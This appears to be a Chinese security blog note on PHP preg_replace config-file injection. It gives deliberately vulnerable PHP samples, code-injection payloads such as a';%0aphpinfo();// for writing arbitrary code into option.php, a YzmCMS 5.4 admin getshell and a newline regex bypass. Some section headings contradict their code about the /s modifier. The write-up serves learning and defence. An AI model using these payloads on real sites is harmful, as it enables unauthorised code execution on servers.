前言
看到P牛的小密圈发了这篇文章 感觉很棒 所以来学习一下.
前置知识铺垫
single-line和multi-line
single-line与multi-line分别对应了/s和/m修饰符。
multi-line
multi-line表示按行来进行正则匹配:将待匹配的文本利用换行符分割,并对每一部分进行正则匹配,将每部分的结果用or进行运算,得出最终的结果。
举一个例子
1 2 3
| var_dump(preg_match('/^a[a-z]+z$/m', "abbz\n123"));
|
single-line
将待匹配文本视作单行,并且换行符不再作为换行的标志,. 可匹配换行符
默认情况的正则(不加修饰符)
对于如下正则:
1 2 3 4 5 6 7 8 9
| <?php var_dump(preg_match('/^a[a-z]+z$/', "abbz\nccz"));
返回0 说明默认情况下非多行匹配
<?php var_dump(preg_match('/^a.+z$/', "abbz\nccz"));
返回0 说明无法匹配换行符
|
所以在默认情况下代表着:single-line且.不会匹配换行符
总结
引用一下p牛的总结
- 不加s或m修饰符 -> single line,但 . 不能匹配换行符
- 单独加s修饰符 -> single line,且 . 匹配包括换行符在内的所有字符
- 单独加m修饰符 -> multi line
- 同时加m和s两个修饰符 -> multi line,且 . 匹配包括换行符在内的所有字符
配置漏洞与其变形
正则贪婪模式且无/s修饰符
1 2 3 4 5
| <?php $api = addslashes($_GET['api']); $file = file_get_contents('./option.php'); $file = preg_replace("/\\\$API = '.*';/", "\$API = '{$api}';", $file); file_put_contents('./option.php', $file);
|
利用.*不会匹配换行的特性,利用换行绕过
第一次:api=a’;%0aphpinfo();//
第二次:api=aaa
正则贪婪模式且有/s修饰符
1 2 3 4 5
| <?php $api = addslashes($_GET['api']); $file = file_get_contents('./option.php'); $file = preg_replace("/\\\$API = '.*';/s", "\$API = '{$api}';", $file); file_put_contents('./option.php', $file);
|
由于/s修饰符 所以无法利用换行绕过,不过可以用$0或者\0来引入单引号进行闭合,$0在preg_replace函数中代表着完整的匹配模式或者匹配文本
第一次
api=;phpinfo();//
对应:
第二次
api=$0
对应
1
| $API = '$API = ';phpinfo();
|
成功在配置文件中写入任意内容
正则非贪婪模式且无/s修饰符
1 2 3 4 5 6
| <?php $api = addslashes($_GET['api']); $file = file_get_contents('./option.php'); $file = preg_replace("/\\\$API = '.*?';/", "\$API = '{$api}';", $file); file_put_contents('./option.php', $file); ?>
|
和之前唯一不同的是现在是非贪婪的匹配模式,也就意味着匹配到第一个单引号之后就不会接着往下继续匹配了
所以我们换行和不换行都可以绕过了
Payload如下
1 2 3 4 5 6
| 第一种 aa';phpinfo();// aa 第二种 aa';%0aphpinfo();// aa
|
正则非贪婪模式且有/s修饰符
1 2 3 4 5
| <?php $api = addslashes($_GET['api']); $file = file_get_contents('./option.php'); $file = preg_replace("/\\\$API = '.*?';/s", "\$API = '{$api}';", $file); file_put_contents('./option.php', $file);
|
虽然加了/s修饰符,但是因为为非贪婪模式,上面的payload同样适用
1 2 3 4 5 6
| 第一种 aa';phpinfo();// aa 第二种 aa';%0aphpinfo();// aa
|
define情况下的贪婪且/s修饰
1 2 3 4 5
| <?php $api = addslashes($_GET['api']); $file = file_get_contents('./option.php'); $file = preg_replace("/define\('API', '.*'\);/", "define('API', '{$api}');", $file); file_put_contents('./option.php', $file);
|
和第一种一样,只是换了下变量的定义方式,换行绕过即可
Payload:
1 2 3 4
| 第一次 api=a');%0aphpinfo();// 第二次 api=a
|
define情况下的贪婪且无/s修饰
1 2 3 4 5
| <?php $api = addslashes($_GET['api']); $file = file_get_contents('./option.php'); $file = preg_replace("/define\('API', '.*'\);/s", "define('API', '{$api}');", $file); file_put_contents('./option.php', $file);
|
因为有不可闭合的单引号,所以这种情况下无法使用$0
不过可以使用这个trick: preg_replace
在替换的时候会吃掉转义符 来进行引号闭合
preg_match可将\\
转化为\
这也就意味着…其实用这种方式可以逃逸掉这篇文章里所有的单引号
Payload如下:
得到的配置文件内容:
1
| define('API', 'a\\');phpinfo();//');
|
define情况下的非贪婪且有/s修饰
1 2 3 4 5
| <?php $api = addslashes($_GET['api']); $file = file_get_contents('./option.php'); $file = preg_replace("/define\('API', '.*?'\);/s", "define('API', '{$api}');", $file); file_put_contents('./option.php', $file);
|
Payload:
1 2 3 4 5 6
| 第一种 aa';phpinfo();// aa 第二种 aa';%0aphpinfo();// aa
|
define情况下的非贪婪且无/s修饰
1 2 3 4 5
| <?php $api = addslashes($_GET['api']); $file = file_get_contents('./option.php'); $file = preg_replace("/define\('API', '.*?'\);/s", "define('API', '{$api}');", $file); file_put_contents('./option.php', $file);
|
Payload如下:
第一种
1 2 3 4 5
| aa';phpinfo();// aa 第二种 aa';%0aphpinfo();// aa
|
几个例子
YzmCMS 5.4后台getshell
漏洞函数如下:
1 2 3 4 5 6 7 8 9 10 11 12
| function set_config($config) { $configfile = YZMPHP_PATH.'common'.DIRECTORY_SEPARATOR.'config/config.php'; if(!is_writable($configfile)) showmsg('Please chmod '.$configfile.' to 0777 !', 'stop'); $pattern = $replacement = array(); foreach($config as $k=>$v) { $pattern[$k] = "/'".$k."'\s*=>\s*([']?)[^']*([']?)(\s*),/is"; $replacement[$k] = "'".$k."' => \${1}".$v."\${2}\${3},"; } $str = file_get_contents($configfile); $str = preg_replace($pattern, $replacement, $str); return file_put_contents($configfile, $str, LOCK_EX); }
|
可以看到$replacement变量是由字符拼接而来,并且${1}匹配的是单引号,那么我们就可以用$1来闭合前面的单引号,${1}等价于$1的,接着跟进调用了set_config的函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| public function save() { yzm_base::load_common('function/function.php', 'admin'); if(isset($_POST['dosubmit'])){ if(isset($_POST['mail_inbox']) && $_POST['mail_inbox']){ if(!is_email($_POST['mail_inbox'])) showmsg(L('mail_format_error')); } if(isset($_POST['upload_types'])){ if(empty($_POST['upload_types'])) showmsg('允许上传附件类型不能为空!', 'stop'); } $arr = array(); $config = D('config'); foreach($_POST as $key => $value){ if(in_array($key, array('site_theme','watermark_enable','watermark_name','watermark_position'))) { $value = safe_replace(trim($value)); $arr[$key] = $value; }else{ if($key!='site_code'){ $value = htmlspecialchars($value); } } $config->update(array('value'=>$value), array('name'=>$key)); } set_config($arr); delcache('configs'); showmsg(L('operation_success'), '', 1); } }
|
可以看出是从POST取值并且检查key是否在规定的数组中,如果在的话,进行一次内容过滤,然后赋给$arr数组,并且由于array数组中键可以对应着函数
比如
所以直接赋值为我们之前单引号闭合的payload就可以了
一个常见的绕过
1 2 3 4 5 6 7 8
| <?php
if (preg_match('/^want$/', $_GET['exp']) && $_GET['exp'] !== 'want') { echo "test";
}
|
对于这个过滤条件 我们可以用exp=want%0a进行绕过
原理为$可以对换行符进行匹配
同样的漏洞还有Apache换行解析漏洞,也就是shell.php\n可以以php的形式解析,也是利用了$可以匹配换行符导致的。
参考链接
https://www.leavesongs.com/PENETRATION/thinking-about-config-file-arbitrary-write.html